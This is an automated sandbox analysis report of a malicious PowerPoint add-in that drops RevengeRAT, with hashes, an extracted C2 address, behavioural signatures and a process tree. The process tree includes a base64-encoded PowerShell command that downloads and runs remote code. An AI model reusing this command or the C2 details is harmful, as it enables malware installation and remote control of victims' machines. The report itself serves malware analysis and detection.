Analysis
-
max time kernel
147s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
01-06-2023 19:35
Static task
static1
Behavioral task
behavioral1
Sample
NF 7867 e 7868.ppam
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
NF 7867 e 7868.ppam
Resource
win10v2004-20230220-en
General
-
Target
NF 7867 e 7868.ppam
-
Size
19KB
-
MD5
cbcc937ed1ac2f9cca45d47d7ab44b49
-
SHA1
4e45051c4e0af07f567407095fbed8cb3e1a032c
-
SHA256
9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4
-
SHA512
7d45eb38cd778b82cae617300a0bc8a0033c3978e9727d2a7932098e9b51d7e4df715d4a1dff4a76837a10a148fdac8997c38fb71cb46afd4ac5e1c4a9727ff6
-
SSDEEP
384:dXPYvQCahPS6U7rbHc1RaICb7PwFkqdKW9rAgZF2o2Z2FoeapDCsx3Dw:VPYryLU7rbHgaIEI5MacgZUhZk8C4zw
Malware Config
Extracted
revengerat
NyanCatRevenge
m7.ddns.com.br:5222
30c2ac3031a0
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3256 2752 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 26 3256 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3256 set thread context of 1248 3256 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 2752 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3256 powershell.exe 3256 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3256 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
POWERPNT.EXEpid process 2752 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 2752 wrote to memory of 3256 2752 POWERPNT.EXE powershell.exe PID 2752 wrote to memory of 3256 2752 POWERPNT.EXE powershell.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe PID 3256 wrote to memory of 1248 3256 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\NF 7867 e 7868.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zojluw3w.1nh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1248-207-0x00000000053C0000-0x00000000053D0000-memory.dmpFilesize
64KB
-
memory/1248-206-0x00000000053C0000-0x00000000053D0000-memory.dmpFilesize
64KB
-
memory/1248-205-0x00000000059B0000-0x0000000005F54000-memory.dmpFilesize
5.6MB
-
memory/1248-202-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
-
memory/2752-187-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-137-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-158-0x0000014F7E4D0000-0x0000014F7E6D0000-memory.dmpFilesize
2.0MB
-
memory/2752-138-0x00007FFC7F130000-0x00007FFC7F140000-memory.dmpFilesize
64KB
-
memory/2752-134-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-135-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-186-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-133-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-188-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-189-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-136-0x00007FFC819F0000-0x00007FFC81A00000-memory.dmpFilesize
64KB
-
memory/2752-139-0x00007FFC7F130000-0x00007FFC7F140000-memory.dmpFilesize
64KB
-
memory/3256-191-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-195-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-197-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-199-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-201-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-193-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-190-0x0000024B129C0000-0x0000024B129D8000-memory.dmpFilesize
96KB
-
memory/3256-177-0x0000024B2ACB0000-0x0000024B2ACC0000-memory.dmpFilesize
64KB
-
memory/3256-165-0x0000024B12580000-0x0000024B125A2000-memory.dmpFilesize
136KB